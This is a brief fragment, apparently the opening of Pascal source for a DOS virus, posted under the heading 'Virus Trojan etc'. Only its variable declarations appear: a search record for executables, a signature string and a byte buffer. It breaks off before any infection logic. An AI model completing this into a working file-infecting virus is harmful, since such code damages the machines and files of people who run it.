..:: Virus Trojan etc ::..

program v;

uses dos;

var filexe : searchrec;
f : file;
cf : text;
sig : string[3];
p : array[0..6000] of byte;
inff [...]